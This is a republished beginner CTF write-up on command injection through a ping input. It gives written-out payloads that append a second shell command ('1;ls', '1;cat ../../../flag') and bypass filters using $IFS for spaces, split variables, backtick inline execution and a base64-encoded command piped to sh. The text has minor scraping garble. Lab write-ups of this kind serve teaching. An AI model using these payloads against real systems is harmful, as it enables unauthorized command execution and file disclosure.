当前位置:网站首页>CTF introductory notes ping

CTF introductory notes ping

2022-08-02 04:02:00 SevenCold

1. Use the command line to find the flag file

Just ping, then follow ls

Example: 1;ls

insert image description here
found index.php file
1;catindex.php is the source website.
Then look up
1;ls …/
insert image description here
Keep looking up
until 1;ls …/…/…/
inInsert image description here
Find flag open
1;cat …/…/…/flag

Get flag

2. Bypass filtering to open files

Similarly, check the directory first

payload:?ip=1;ls

insert image description here

Found two files, try to open the index file directly (although I know it will definitely not work)

payload: ?ip=1;cat index.php

No way

insert image description here
Guess it may filter spaces, bypassThere are many ways to filter spaces,
%20, %09, $IFS 1 , 1,1, {IFS}, <>,

payload: ?ip=1;cat$IFS$1index.php

insert image description here
Found a bunch of filters, which also includes flag

p>

The next step is to bypass the flag filter

Method 1: splicing flag

payload:?ip=1;a=ag.php;b=fl;cat$IFS$1$b$a

insert image description here
You can see the flag in the website source code

Method 2: Inline execution bypass (ie ``)

payload:?ip=1;cat$IFS$1`ls`

Using inline execution will use the output inside the `` as input to the previous command.

insert image description here
You can also see the flag in the source code

Method three: base64 encoding bypass

payload:?ip=1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|shY2F0IGZsYWcucGhw is the base64 encoding of cat flag.php

insert image description here
Ibid.Find the flag in the source code.

原网站

版权声明
本文为[SevenCold]所创,转载请带上原文链接,感谢
https://yzsam.com/2022/214/202208020322446509.html